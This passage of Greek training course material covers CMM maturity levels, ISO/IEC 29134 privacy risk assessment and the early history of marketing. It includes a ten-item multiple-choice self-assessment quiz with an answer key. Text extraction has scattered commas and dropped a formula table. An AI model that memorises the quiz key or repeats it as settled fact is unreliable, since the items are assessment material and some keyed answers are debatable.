Η ποσοτικοποίηση της εκτίμησης της τρέχουσας κατάστασης της εταιρείας βασίσθηκε στο Μοντέλο Ικανότητας και Ωριμότητας (CMM) διαδικασιών, το οποίο αναπτύχθηκε στο Πανεπιστήμιο Carnegie Mellon. Ο όρος «ωριμότητα» δηλώνει την ύπαρξη σαφώς προσδιορισμένων, διαχειριζόμενων, ελεγχόμενων και αποτελεσματικών διαδικασιών σε έναν οργανισμό. Το πρότυπο CMM ορίζει μία συγκεκριμένη κλίμακα πέντε επιπέδων για τη μέτρηση της ωριμότητας της επιχείρησης σε ό,τι αφορά στις διεργασίες της, όπως ακριβώς αποτυπώνονται στην συνέχεια:

• Επίπεδο 1 - Αρχικό επίπεδο (Initial level): Οι επιχειρήσεις ακολουθούν ad hoc διαδικασίες, τις οποίες μεταβάλλουν ανάλογα με τις ανάγκες τους. • Επίπεδο 2 - Επίπεδο επαναληψιμότητας (Repeatable level): Η εταιρεία ακολουθεί επαναλαμβανόμενες διαδικασίες βάση της εμπειρίας αλλά και της ικανότητας του προσωπικού. • Επίπεδο 3 - Καθορισμένο επίπεδο (Defined level): Η εταιρεία ακολουθεί τυποποιημένες και επαναλαμβανόμενες διαδικασίες. • Επίπεδο 4 - Διαχειριζόμενο επίπεδο (Managed level): Η εταιρεία έχει υιοθετήσει τις βασικές πρακτικές για κάθε διαδικασία ενώ αναλύει την απόδοσης τους για περαιτέρω βελτίωση. • Επίπεδο 5 - Επίπεδο βελτιστοποίησης (Optimizing level): Η εταιρεία έχει υιοθετήσει πλήρως τις βασικές πρακτικές για κάθε διαδικασία και αναλύει την απόδοσης τους για περαιτέρω βελτίωση. 8) Αποτίμηση του αντικτύπου στην ιδιωτικότητα Η μέθοδος αποτίμησης των προσωπικών και ευαίσθητων προσωπικών δεδομένων της εταιρίας βασίστηκε στην πρότυπη μεθοδολογία ΙSO/IEC 29134. Η μεθοδολογία αυτή αποτελείται από δύο βασικά στάδια:

•

Ανάλυση επικινδυνότητας (risk analysis)

•

Διαχείριση επικινδυνότητας (risk management)

Στάδιο 1ο: Ανάλυση επικινδυνότητας Στο στάδιο αυτό υπολογίζονται οι δύο παράγοντες που επηρεάζουν την επικινδυνότητα της ιδιωτικότητας, ήτοι η πιθανότητα εμφάνισης της απειλής και η επίπτωση στην πραγματοποίηση μίας απειλής. Ο συνδυασμός των δύο παραγόντων δίνει το βαθμό επικινδυνότητας των προσωπικών δεδομένων, έτσι ώστε να επιλεγούν τα κατάλληλα αντίμετρα. α) Προσδιορισμός της πιθανότητας εμφάνισης της απειλής Η πιθανότητα εμφάνισης μίας απειλής υπολογίζεται βάσει της ευπάθειας, την αποτελεσματικότητα των μηχανισμών

προστασίας των δεδομένων και την δυνατότητα εκμετάλλευσης των ευπαθειών ως ακολούθως:

β) Εκτίμηση επίπτωσης εμφάνισης της απειλής Για κάθε περίπτωση εκτιμάται το δυσμενέστερο πιθανό σενάριο και υπολογίζονται οι επιπτώσεις για το υποκείμενο από την πραγματοποίηση της απειλής σε κλίμακα τεσσάρων βαθμίδων (Μέγιστη, Σημαντική, Περιορισμένη και Αμελητέα)

γ) Υπολογισμός επικινδυνότητας Στην παρούσα μελέτη περίπτωσης, ο βαθμός επικινδυνότητας δεν υπολογίζεται για όλα τα προσωπικά δεδομένα συνολικά, αλλά αποτιμάται μεμονωμένα για κάθε συνδυασμό Δεδομένα- Πιθανότητα Εμφάνισης της Απειλής -Επίπτωση της Απειλής. Συγκεκριμένα, η επικινδυνότητα υπολογίζεται με βάση την ακόλουθη σχέση: Επικινδυνότητα = Πιθανότητα Εμφάνισης της απειλής + Επίπτωση της απειλής

Στάδιο 2ο: Διαχείριση της επικινδυνότητας Με βάση τα αποτελέσματα που προέκυψαν από την ανάλυσης επικινδυνότητας, προτείνεται ένα σχέδιο ασφάλειας το οποίο διαρθρώνεται σε επιμέρους πυλώνες, οι οποίοι περιγράφονται λεπτομερώς στις επόμενες ενότητες. Ο κάθε πυλώνας αποτελείται από μία σειρά αντιμέτρων, τα οποία κρίνονται απαραίτητα για την διαχείριση της επικινδυνότητας και θα πρέπει να εφαρμοστούν. Το σχέδιο ασφάλειας

περιλαμβάνει και μία σειρά επιλογών και εναλλακτικών λύσεων, ώστε να παρέχεται ευελιξία στην εφαρμογή του. Η τελική επιλογή των αντιμέτρων που θα εφαρμοστούν λαμβάνει υπόψη και το κόστος που ενέχουν τα αντίμετρα για την εταιρεία. Τα αντίμετρα χωρίζονται σε ομάδες, ανάλογα με το είδος των απειλών που καλούνται να αντιμετωπίσουν και ανάλογα με το είδος των δεδομένων που καλούνται να προστατέψουν. Η βάση των αντιμέτρων περιλαμβάνει τόσο τις εναλλακτικές λύσεις, δηλαδή ποιο αντίμετρο μπορεί να χρησιμοποιηθεί εναλλακτικά άλλου, καθώς και τις επιλογές υλοποίησής αυτών. Τα κριτήρια που λαμβάνονται υπόψη στην τελική επιλογή περιλαμβάνουν τα εξής: • Την επίδραση που θα έχουν τα αντίμετρα στη λειτουργία του οργανισμού. • Το κόστος εγκατάστασης και λειτουργίας των αντιμέτρων. • Την άποψη της διοίκησης και τους στόχους της. • Ενδεχόμενες ενδείξεις ότι οι απειλές θα αυξηθούν στο μέλλον. • Διαθέσιμος προϋπολογισμός για την ασφάλεια των πληροφοριακών συστημάτων. 9) Αξιοποίηση των αποτελεσμάτων της μελέτης Κατά την μελέτη προσδιορίστηκαν με επιστημονική μεθοδολογία, τα κατάλληλα αντίμετρα τα οποία είναι ανάλογα με την επικινδυνότητά. Το σύνολο των αντιμέτρων αποτελεί το Σχέδιο Συμμόρφωσης και Προστασίας των Προσωπικών Δεδομένων. Συνοπτικά το σχέδιο ασφάλειας προσδιορίζεται ως ένα σύνολο από προτεινόμενες διαδικασίες, πολιτικές, οργανωτικές δομές και τεχνικά έργα που επιτρέπουν στην εταιρεία να καθορίσει και να διαμορφώσει κάθε φορά κατανοητούς στόχους, σκοπούς, κανόνες και αρχιτεκτονικές που επιτυγχάνουν την, κατά τα ανωτέρω, συμμόρφωση με τον κανονισμό και την προστασία των δεδομένων προσωπικού χαρακτήρα. H κατάσταση με τα αντίμετρα που περιλαμβάνεται πρέπει να χρησιμοποιηθεί για την παρακολούθηση της υλοποίησης του σχεδίου ασφαλείας. Κατά την υλοποίησή του, για κάθε μέτρο πρέπει να σημειώνεται η αντίστοιχη κατάσταση αυτού (state), η οποία μπορεί να είναι:

Σύνοψη Εκπαιδευτικής Ενότητας 8 Στην ενότητα 8, παρουσιάστηκαν αντικείμενα: Δικαιώματα Πνευματικής Ιδιοκτησίας Nόμοι περί πνευματικής ιδιοκτησίας Ρόλος εθνικής νομοθεσίας Δικαίωμα Αναπαραγωγής (Copyright) Όρος Copyright Εξαιρέσεις από την κατάρτιση ηλεκτρονικών συμβάσεων Βασικές Αρχές Κίνδυνοι απώλειας δεδομένων και τρόποι προστασίας τους Οι κίνδυνοι για τα προσωπικά δεδομένα σήμερα Οι κίνδυνοι μη συμμόρφωσης με τον Γενικό Κανονισμό Προστασίας Προσωπικών Δεδομένων Η αποτίμηση των κινδύνων

Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 8 Επιλέξτε τη σωστή απάντηση στις παρακάτω ερωτήσεις / διατυπώσεις ΕΡΩΤΗΣΗ

1

Ποια οδηγία αφορά την καταπολέμηση στις καθυστερήσεις πληρωμών

των εμπορικών συναλλαγών. ΑΠΑΝΤΗΣΗ 1

ΕΡΩΤΗΣΗ

2

Α

Οδηγία 2000/35/ΕΚ

Β

Οδηγία 2000/28/ΕΚ

Γ

Οδηγία 2000/46/ΕΚ

Δ

Οδηγία 96/2/ΕΚ

Ποια είναι η ελάχιστη περίοδο διάρκειας των δικαιωμάτων σύμφωνα με

την συνθήκη της Βέρνης. ΑΠΑΝΤΗΣΗ 2

ΕΡΩΤΗΣΗ

3

Α

40 χρόνια μετά το θάνατο του δημιουργού.

Β

50 χρόνια μετά το θάνατο του δημιουργού.

Γ

60 χρόνια μετά το θάνατο του δημιουργού.

Δ

70 χρόνια μετά το θάνατο του δημιουργού.

Ποιος όρος χρησιμοποιείται για να περιγράψει την αναμετάδοση σε

πραγματικό χρόνο, οπτικοακουστικού υλικού με τη χρήση του διαδικτύου. ΑΠΑΝΤΗΣΗ 3

ΕΡΩΤΗΣΗ

4

Α

Webcasting

Β

Live Streaming

Γ

Video

Δ

Playback

Σε μια σύμβαση που καταρτίζεται ηλεκτρονικά τα συμβαλλόμενα μέρη

είναι δύο, o ένας είναι ο φορέας παροχής της υπηρεσίας και ο άλλος ο αποδέκτης της. ΑΠΑΝΤΗΣΗ 4

ΕΡΩΤΗΣΗ

5

Α

Σωστό.

Β

Λάθος.

Σε

ποια

φάση

της

ασφάλειας

πληροφοριακών

συστημάτων

υλοποιούνται τα λειτουργικά τμήματα σε εξάρτηση με τη διαθέσιμη υποδομή. ΑΠΑΝΤΗΣΗ 5

ΕΡΩΤΗΣΗ

6

Α

Φάση της υλοποίηση των Απαιτήσεων Ασφάλειας

Β

Φάση της Ανάπτυξης

Γ

Φάση του Σχεδιασμού

Δ

Φάση της βελτιστοποίηση της Απόδοσης

Ποια κατηγορία κινδύνων στην επιχείρηση περιλαμβάνουν τα

απρόβλεπτα γεγονότα, τα οποία δεν πηγάζουν από τις συνθήκες φυσιολογικής λειτουργίας της επιχείρησης. ΑΠΑΝΤΗΣΗ 6

Α

Φυσικοί κίνδυνοι.

ΕΡΩΤΗΣΗ

7

Β

Οικονομικοί κίνδυνοι.

Γ

Λειτουργικοί κίνδυνοι.

Δ

Επιχειρηματικοί κίνδυνοι.

Η υποχρέωση συμμόρφωσης της επιχείρησης με τις επιταγές του Γενικού

Κανονισμού για την Προστασία των Προσωπικών Δεδομένων δεν συνεπάγεται την εμφάνιση διάφορων επιχειρησιακών κινδύνων. ΑΠΑΝΤΗΣΗ 7

ΕΡΩΤΗΣΗ

8

Α

Σωστό

Β

Λάθος

Πριν από την εφαρμογή του Γενικού Κανονισμού Προστασίας

Προσωπικών Δεδομένων (GDPR), η αξιολόγηση των κινδύνων που σχετίζονταν με την επεξεργασία προσωπικών δεδομένων δεν ήταν υποχρεωτική. ΑΠΑΝΤΗΣΗ 8

ΕΡΩΤΗΣΗ

9

Α

Σωστό

Β

Λάθος

Οι επιχειρηματικοί κίνδυνοι που καλείται να αντιμετωπίσει η σύγχρονη

επιχείρηση .... ΑΠΑΝΤΗΣΗ 9

Α

περιλαμβάνουν απρόβλεπτα γεγονότα.

Β

ορίζονται ως η μεταβλητότητα των δυνητικών αποτελεσμάτων μιας επένδυσης.

Γ

αντιμετωπίζουν μία επιχείρηση κατά την διάρκεια της παραγωγικής διαδικασίας και οφείλονται στον ανθρώπινο παράγοντα.

Δ

πρόκειται για τους κινδύνους μείωσης της αποδοτικότητας και της παραγωγικότητας μιας επιχείρησης.

ΕΡΩΤΗΣΗ

10

Στο εξωτερικό περιβάλλον μιας επιχείρησης ποια απειλή των

προσωπικών δεδομένων ευθύνεται για την διάθεση υπολογιστικών πόρων μέσω διαδικτύου που βρίσκονται απομακρυσμένα από τον τελικό χρήστη. ΑΠΑΝΤΗΣΗ 10

Α

Κινητή τηλεφωνία.

Β

Υπολογιστικό Νέφος.

Γ

Διαδίκτυο των πραγμάτων.

Δ

Κρίσιμες Υποδομές.

Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 8 1:

Απάντηση 1. Α

2:

Απάντηση 2. Β

3:

Απάντηση 3. Α

4:

Απάντηση 4. Α

5:

Απάντηση 5. Β

6:

Απάντηση 6. Α

7:

Απάντηση 7. Β

8:

Απάντηση 8. Α

9:

Απάντηση 9. Δ

10:

Απάντηση 10. Β

ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 9: Βασικές Αρχές Marketing Σκοπός αυτής της εκπαιδευτικής ενότητας είναι η παρουσίαση αντικειμένων που αφορούν την εισαγωγή στο Mάρκετινγκ, Φάσεις και Εξέλιξη του Μάρκετινγκ, οι αντιλήψεις του Μάρκετινγκ και οι διαδικασίες του Μάρκετινγκ. ΠΡΟΣΔΟΚΩΜΕΝΑ ΑΠΟΤΕΛΕΣΜΑΤΑ Όταν ολοκληρώσετε τη μελέτη του υλικού αυτής της εκπαιδευτικής ενότητας θα έχετε αποκτήσει γνώσεις και δεξιότητες που αναφέρονται: Βασικές Έννοιες Μάρκετινγκ Φάσεις και Εξέλιξη του Μάρκετινγκ Προσανατολισμός στην Παραγωγή (production-orientation era) Προσανατολισμός προς τις πωλήσεις (sales- orientation era) Προσανατολισμός στο Marketing και την αγορά Προσανατολισμός στο κοινωνικό μάρκετινγκ (social marketing) Οι 5 αντιλήψεις του Marketing Ανάλυση του Μάρκετινγκ Ανακρίβειες στην κατανόηση του Μάρκετινγκ Μίγμα Mάρκετινγκ Λειτουργίες Mάρκετινγκ 

ΕΝΝΟΙΕΣ – ΚΛΕΙΔΙΑ Marketing, production-orientation era, social marketing, sales, product concept, selling concept, production concept, marketing concept

Εκπαιδευτική Υποενότητα 9.1 Εισαγωγή στο Mάρκετινγκ Το μάρκετινγκ χρειάζεται μία μέρα για να το μάθεις. Δυστυχώς, χρειάζεται μία ζωή για να το, κατέχεις. Το μάρκετινγκ (marketing) συνίσταται στην οργανωμένη προσπάθεια μιας επιχείρησης ή ενός οργανισμού να ικανοποιήσει τις ανάγκες αλλά,και τις επιθυμίες των καταναλωτών. Προσπαθεί, δηλαδή, με κύριο εργαλείο την έρευνα αγοράς να αντιστοιχίσει τα προϊόντα ή τις υπηρεσίες που παράγει με τον πελάτη-στόχο που τα χρειάζεται ή τα επιθυμεί, ή ακόμα καλύτερα αφού κατανοήσει τις ανάγκες και τις επιθυμίες του, να κατασκευάσει τα αντίστοιχα προϊόντα / υπηρεσίες με τα χαρακτηριστικά και τις ιδιότητες ,που ο πελάτης επιθυμεί. Επιπλέον, προσπαθεί να του τα γνωστοποιήσει (διαφήμιση και προώθηση) και να τα καταστήσει διαθέσιμα μέσα από τα κανάλια διανομής (τα μαγαζιά και οι τοποθεσίες που, αυτά είναι διαθέσιμα) στην τιμή που θα πρέπει αυτά να πωλούνται. Ο βασικός στόχος του μάρκετινγκ, ειδικότερα όσον αφορά τα καταναλωτικά αγαθά, δηλαδή αυτά που απευθύνονται στους τελικούς καταναλωτές (και όχι σε άλλες επιχειρήσεις και οργανισμούς, οπότε και γίνεται λόγος για βιομηχανικά προϊόντα/ υπηρεσίες) είναι οι επαναλαμβανόμενες πωλήσεις.

Ειδικότερα τα στελέχη μάρκετινγκ μίας επιχείρησης ή ενός οργανισμού

προσπαθούν να δημιουργήσουν μία μακροχρόνια σχέση με τον πελάτη, προσφέροντας υψηλή αξία στα προϊόντα τους, αξία υψηλότερη από τα αντίστοιχα προϊόντα του ανταγωνισμού. Μέσα από την υψηλότερη αυτή αξία επιτυγχάνεται το ανταγωνιστικό πλεονέκτημα της επιχείρησης, δηλαδή η υπεροχή της ίδιας και των προϊόντων της έναντι, του ανταγωνισμού. Όλα τα παραπάνω με τη σειρά τους οδηγούν σε πιστότητα των πελατών και τελικά σε, επαναλαμβανόμενες πωλήσεις των προϊόντων / υπηρεσιών της επιχείρησης. Ένας άλλος ορισμός ορίζει ως μάρκετινγκ την κοινωνική και οικονομική διαδικασία όπου περιλαμβάνονται όλες εκείνες οι δραστηριότητες και οι οργανισμοί που είναι υπεύθυνοι, για την ανταλλαγή αγαθών και υπηρεσιών. Η γενική αυτή έννοια, εξετάζει το μάρκετινγκ σε σχέση με την εθνική οικονομία σαν σύνολο, με το κοινωνικό και πολιτιστικό περιβάλλον, το γενικό αυτό μάρκετινγκ αποβλέπει στην οικονομική ανάπτυξη και πρόοδο ολόκληρης της κοινωνίας. Οι ορισμοί του μάρκετινγκ αλλάζουν συνεχώς και αυτό διότι,το μάρκετινγκ εξελίσσεται συνεχώς διότι μεταβάλλονται οι οικονομικές, οι κοινωνικές και οι πολιτικές συνθήκες, όπως και οι ανάγκες των καταναλωτών που καλείται να εξυπηρετήσει. Αυτό το συμπέρασμα εύκολα γίνεται κατανοητό εάν πάρουμε ως παράδειγμα τον μεγάλο γκουρού του Μάρκετινγκ και συγγραφέα βιβλίων και άρθρων σχετικά με το μάρκετινγκ, Philip

Kotler ο οποίος έδωσε πολλούς ορισμούς για αυτό σε διαφορετικές χρονικές περιόδους. Συγκεκριμένα, το 1967 όρισε ως μάρκετινγκ το σύνολο των επιχειρηματικών, δραστηριοτήτων που κατευθύνονται προς την ικανοποίηση των αναγκών και επιθυμιών ορισμένων ομάδων καταναλωτών με κάποιο κέρδος. Το 1972 ο ίδιος ορίζει ως μάρκετινγκ το σύνολο των ανθρώπινων δραστηριοτήτων που κατευθύνονται στη διευκόλυνση και πραγματοποίηση των ανταλλαγών. Στον ορισμό αυτό, δίνεται έμφαση στις ανθρώπινες δραστηριότητες οι οποίες έχουν σαν σκοπό να διευκολύνουν και να ολοκληρώσουν μια ανταλλαγή. Η ανταλλαγή αναφέρεται σε αγαθά και υπηρεσίες ή οτιδήποτε άλλο έχει αξία και μπορεί να γίνει αντικείμενο ανταλλαγής. Το μάρκετινγκ όμως συνεχίζει να εξελίσσεται. Έτσι το 1976 ο Kotler δίνει νέο ορισμό για το, μάρκετινγκ στον οποίο ορίζει ως μάρκετινγκ την ανθρώπινη δραστηριότητα που κατευθύνεται στην ικανοποίηση αναγκών και επιθυμιών με την βοήθεια των διαδικασιών της ανταλλαγής. O ορισμός αυτός δίνει έμφαση στις ανάγκες και επιθυμίες των καταναλωτών και αντανακλά την σύγχρονη αντίληψη του μάρκετινγκ, που θεωρεί κέντρο των δραστηριοτήτων του τον καταναλωτή και τις ανάγκες του. Το 1989 ο ίδιος συγγραφές δίνει ένα καινούριο ορισμό, «Το μάρκετινγκ είναι μια κοινωνική και επιτελική διαδικασία με την οποία τα άτομα αλλά και οι ομάδες αποκτούν αυτά που χρειάζονται και επιθυμούν, διαμέσου της δημιουργίας και ανταλλαγής προϊόντων και αξιών». Τέλος, το 1999 ορίζει το «μάρκετινγκ ως μια κοινωνική διαδικασία και μια διαδικασία μάνατζμεντ με την οποία τα άτομα και οι ομάδες αποκτούν ό,τι χρειάζονται και επιθυμούν μέσω της παραγωγής, της προσφοράς και της, ανταλλαγής προϊόντων αξίας με άλλα». Φυσικά, εκτός από τον Kotler, και άλλοι καθηγητές, αναλυτές, συγγραφείς και αρθρογράφοι διατύπωσαν πολλούς ορισμούς για το μάρκετινγκ, μερικοί ίσως διέφεραν, μεταξύ τους αλλά σίγουρα όλοι οι αναλυτές συμφώνησαν σε ένα και μόνο σημείο, ότι το μάρκετινγκ είναι εύκολο να το καταλάβεις αλλά δύσκολο να το εφαρμόσεις, σωστά τουλάχιστον.

Οι ανάγκες των ανθρώπων αλλάζουν με τον καιρό απαιτώντας από τις επιχειρήσεις να γνωρίζουν και να ανταποκρίνονται σε αυτές τις αλλαγές. Τίποτα δεν εγγυάται την,διαχρονικότητα ενός προϊόντος. Πριν αναφερθούμε σε καθένα από τα στάδια, προσανατολισμού των επιχειρήσεων, θα πρέπει να υπενθυμίσουμε ότι τελικός στόχος τους είναι η μεγιστοποίηση των κερδών που πραγματοποιούν. Για να επιτύχουν όμως το στόχο, αυτό εφαρμόζουν ανάλογα με τις περιστάσεις τη στρατηγική ή τακτική μάρκετινγκ που κατά την κρίση τους είναι η πιο ενδεδειγμένη. Έτσι λοιπόν άλλες επιχειρήσεις δίνουν μεγαλύτερη,έμφαση και σημασία στην παραγωγή ενός καλού προϊόντος, άλλες στις πωλήσεις των προϊόντων, άλλες στις απαιτήσεις της αγοράς, δηλαδή στις ανάγκες ή

επιθυμίες των καταναλωτών-πελατών και άλλες στην ελεγχόμενη ποσοτικά και ποιοτικά προσφορά προϊόντων.

Η εξέλιξη του τρόπου με τον οποίο οι επιχειρήσεις εφάρμοσαν την πρακτική μάρκετινγκ συνοψίζονται στα επόμενα στάδια. Η εξέλιξη αυτή διαμορφώθηκε από τις συνθήκες που, επικρατούσαν στην αγορά σε κάθε χρονική περίοδο, από την τακτική των επιχειρήσεων και τις προτάσεις των ειδικών επιστημόνων του μάρκετινγκ. Τα στάδια του επιχειρηματικού, προσανατολισμού και της εξέλιξης του μάρκετινγκ είναι βασικά τέσσερα, τα οποία αναλύονται ως εξής: Προσανατολισμός στην Παραγωγή (production-orientation era)

H περίοδος προσανατολισμού προς την παραγωγή, ήταν το πρώτο εξελικτικό στάδιο προς την ανάπτυξη του μάρκετινγκ. Κατά τη διάρκεια της δεκαετίας του 1920 επικρατούσε, η αντίληψη ότι οι επιχειρήσεις μπορούσαν να λειτουργήσουν μέσα σε ένα οποιαδήποτε δεδομένο όριο της καμπύλης παραγωγής, και να παράγουν απεριόριστες ποσότητες προϊόντων και υπηρεσιών. Τα ανώτατα διοικητικά στελέχη τα οποία καθόριζαν την πολιτική της εταιρείας πίστευαν ακράδαντα, ότι κάθε προϊόν το οποίο συνιστούσε τον όγκο παραγωγής της επιχείρησης, μπορούσε "να πουλήσει από μόνο του". Φυσικά δεν υπήρχαν προβλήματα τα οποία να, σχετίζονται με τη ζήτηση των προϊόντων γιατί η ζήτηση πάντα υπερίσχυε της προσφοράς. Κατά την περίοδο αυτή δινόταν μεγάλη σημασία στην παραγωγή των προϊόντων. Σύμφωνα με αυτή τη φιλοσοφία οι επιχειρήσεις πίστευαν: 1. Μια επιχείρηση ό,τι μπορεί να παράγει μπορεί και να το πουλήσει. Όταν η ζήτηση για ένα προϊόν υπερβαίνει την προσφορά, οι καταναλωτές το προτιμούν γιατί, ενδιαφέρονται περισσότερο για την απόκτηση του προϊόντος και λιγότερο για τα πλεονεκτήματα του. 2. Ο βασικότερος σκοπός της επιχείρησης και ιδιαίτερα της διοίκησης, ήταν να διατηρήσει το κόστος παραγωγής των προϊόντων σε όσο το δυνατόν πιο χαμηλά επίπεδα. 3. Εκείνη την περίοδο γινόταν παραγωγή μόνο ορισμένων βασικών προϊόντων. Οι ανάγκες και οι επιθυμίες των πελατών ήταν σε δεύτερη μοίρα. Κατά τη διάρκεια αυτού του πρώτου σταδίου, μια επιχείρηση είναι τυπικά προσανατολισμένη στην παραγωγή. Η επιχείρηση πιστεύει ότι ένα καλοφτιαγμένο και σωστά τιμολογημένο προϊόν δεν χρειάζεται τη συνδρομή του μάρκετινγκ για να,αγοραστεί από τους καταναλωτές ή χρήστες. Για αυτό και μοναδικό μέλημά της σε αυτήν τη φάση είναι η ποσοτική αύξηση και η ποιοτική βελτίωση των προϊόντων που παράγονται εκ μέρους της. Κατά συνέπεια το μάρκετινγκ στο στάδιο αυτό αν όχι τίποτα, ελάχιστα μπορεί, να προσφέρει στην επιχείρηση. Κατά τη διάρκεια του Β΄ παγκόσμιου πολέμου διάφορες επιχειρήσεις στις ΗΠΑ λόγω της εμπόλεμης κατάστασης και διέθεταν τεράστια αποθέματα προϊόντων και είχαν τεράστια παραγωγική δυναμικότητα. Τα προϊόντα τους όμως δυστυχώς δεν είχαν την αντίστοιχη, ζήτηση. Για να αντιμετωπιστεί το θέμα αυτό των «πλεονασμάτων», οι οικονομολόγοι της εποχής πρότειναν στην κυβέρνηση των ΗΠΑ ένα σχέδιο το οποίο ονομάστηκε «σχέδιο, Μάρσαλ» ,και διέθετε δύο σκέλη:

1. Να γίνει προσπάθεια για να αναστηλωθεί η Ευρώπη η οποία είχε καταστραφεί από τον πόλεμο. 2. Να γίνει προσπάθεια να ενεργοποιηθεί η τεράστια Ευρωπαϊκή αγορά για να, διατεθούν εκεί όλα τα πλεονάσματα που κατείχαν οι επιχειρήσεις των ΗΠΑ. Βάσει αυτού οι επιχειρήσεις έτειναν προς την δημιουργία καλά εκπαιδευμένων πωλητών, οι οποίοι θα είχαν την ικανότητα να μειώσουν το ρόλο των χονδρεμπόρων και λιανεμπόρων, και παράλληλα να στρέψουν τους καταναλωτές στην αγορά, προϊόντων που παρήγαγαν οι επιχειρήσεις που εκπροσωπούσαν. Προσανατολισμός προς τις πωλήσεις (sales- orientation era) Μετά το δεύτερο Παγκόσμιο Πόλεμο οι επιχειρήσεις κυρίως στις ΗΠΑ, αλλά και στην, ανασυγκροτούμενη δυτική Ευρώπη ήταν πλέον σε θέση να οργανώσουν αποτελεσματικά την παραγωγή τους. Έχοντας ξεπεράσει τα θέματα μαζικής παραγωγής βρέθηκαν με πλεονάζουσα παραγωγική δυναμικότητα, με αποτέλεσμα να αναζητούν πλέον τρόπους μαζικής πώλησης, τόσο στις, εθνικές όσο και στις διεθνείς αγορές. Η μαζική πώληση στηρίχθηκε στη χρήση πωλητών, στη συνεργασία με μεσάζοντες για την κάλυψη των γεωγραφικά διευρυμένων αγορών, και στη διαφήμιση ως μέσου μαζικής ενημέρωσης και πειθούς. Το βασικό μέλημα για τις επιχειρήσεις ήταν να βρουν αγοραστές για τα προϊόντα που κατασκεύαζαν. Συνήθως η δημιουργία νέων προϊόντων της περιόδου αυτής βασίζονταν σε, καινοτομίες του κατασκευαστή και σπάνια στην έρευνα των αναγκών του καταναλωτή. Το μάρκετινγκ ήταν περιορισμένο στην οργάνωση των πωλήσεων και τη διαφήμιση. Αυτό ήταν στην πραγματικότητα το σημαντικό στοιχείο της Εποχής των Πωλήσεων, η συνεχής και συστηματική άσκηση πίεσης προκειμένου η εταιρεία να πουλήσει τα προϊόντα ή τις, υπηρεσίες της σε υποψήφιους αγοραστές. Αυτό μπορεί να θεωρηθεί ως μία μεγάλη διαφοροποίηση από την άποψη της Εποχής της Παραγωγής, σύμφωνα με την οποία το προϊόν θα μπορούσε να πουλήσει "από μόνο του", θεωρώντας την ποιότητα των προϊόντων και υπηρεσιών ως δεδομένη. Κατά τη διάρκεια, αυτού του δευτέρου σταδίου, μια επιχείρηση έχει λύσει με τη βοήθεια της τεχνολογίας τα προβλήματα της παραγωγής και έχει περάσει στην τυποποίηση των προϊόντων και τη, μαζικοποίηση της παραγωγής. Είναι φυσικό λοιπόν να δίνεται εκ μέρους της μεγαλύτερη σημασία στις πωλήσεις σαν βασικό τρόπο διάθεσης της αυξημένης παραγωγής της. Οι

επιχειρήσεις επικεντρώνονται σε επιθετικές τεχνικές για την υπερκέραση των αντιστάσεων, του αγοραστή. Αυτό ήταν στην πραγματικότητα το σημαντικό στοιχείο της Εποχής των Πωλήσεων, η συνεχής και συστηματική άσκηση πίεσης προκειμένου η εταιρεία να πουλήσει τα προϊόντα, ή τις υπηρεσίες της σε υποψήφιους αγοραστές. Η αντίληψη αυτή μπορεί να θεωρηθεί ως μία μεγάλη διαφοροποίηση από την άποψη της Εποχής της Παραγωγής, σύμφωνα με την, οποία το προϊόν θα μπορούσε να πουλήσει "από μόνο του" θεωρώντας την ποιότητα των προϊόντων και υπηρεσιών ως δεδομένη. Προσανατολισμός στο Marketing και την αγορά Στις αρχές της δεκαετίας του 1960 πρωτοεμφανίστηκε η φιλοσοφία του marketing, σύμφωνα με την οποία ο κάθε παραγωγός όφειλε πρώτα να εντοπίσει και να επικεντρωθεί, στις επιθυμίες του καταναλωτή. Εν συνεχεία να παράγει ότι μπορούσε για να τον ικανοποιήσει, αλλά παράλληλα και στην πορεία να προσπαθήσει να αλλάξει τις ανάγκες, των καταναλωτών για να το αγοράσουν. Η φιλοσοφία αυτή στηρίζεται σε τρείς βασικές ιδέες: 1. Οι επιχειρήσεις θα πρέπει να επικεντρώνονται σε παραγωγή προϊόντων που επιθυμεί ο καταναλωτής. 2. Κάθε επιχείρηση οφείλει να προωθεί προγράμματα για να ικανοποιούνται οι ανάγκες των πελατών της. 3. Κάθε διοίκηση οφείλει να δίνει έμφαση στην αναγνώριση των αναγκών των πελατών πριν την παραγωγή του προϊόντος. Συνεπώς ο κυριότερος στόχος του marketing είναι μέσω της έρευνας αγοράς να, ανακαλύψει όλες τις κρυφές και φανερές επιθυμίες και ανάγκες των καταναλωτών. Εξαιτίας αυτού λοιπόν οι πιο εξελιγμένες επιχειρήσεις δημιούργησαν μια διεύθυνση marketing, η οποία θα αναλάμβανε όλο αυτό το δύσκολο έργο σε συνεργασία με τα, υπόλοιπα τμήματα της επιχείρησης, τα οποία προσανατολίστηκαν και αυτά προς τις ανάγκες των καταναλωτών. Καταλήγοντας λοιπόν διαπιστώνουμε ότι το marketing πέρασε από διάφορες μορφές και στάδια προκειμένου να καταλήξει στην σημερινή τελική μορφή του. Η νοοτροπία και η, ιδεολογία των marketers άλλαζε σύμφωνα με τις ανάγκες των καταναλωτών και τις ανάγκες της εποχής. Κυρίαρχο ρόλο στην σύγχρονη εποχή έχει το σύστημα marketing, το οποίο παρατηρεί και ερευνά τις εξελίξεις που συμβαίνουν γύρω του και τις προσαρμόζει στο χώρο του marketing. Ο καταναλωτής βρίσκεται στο κέντρο και γύρω από αυτόν στροβιλίζονται,

όλες οι εξελίξεις. Χαρακτηριστικό παράδειγμα μιας τέτοιας εταιρείας είναι η Sony, η οποία ξεκίνησε με την παραγωγή ραδιοφώνων πριν πενήντα χρόνια, τα οποία προσπαθούσε να, βρίσκονται σε ποιοτικώς άριστη κατάσταση (προσανατολισμός στην παραγωγή). Στην πορεία και ανάλογα με τις εξελίξεις της εποχής οδηγήθηκε στην παραγωγή τηλεοράσεων ασπρόμαυρων αρχικά και αργότερα στην κατασκευή έγχρωμων, (Προσανατολισμός στις πωλήσεις), αφού εκατομμύρια άνθρωποι σε όλο τον κόσμο επέλεγαν μια συσκευή Sony και οι πωλήσεις της εταιρείας είχαν κορυφαία αύξηση. «Η προσέγγιση αυτή,

βοηθά τις

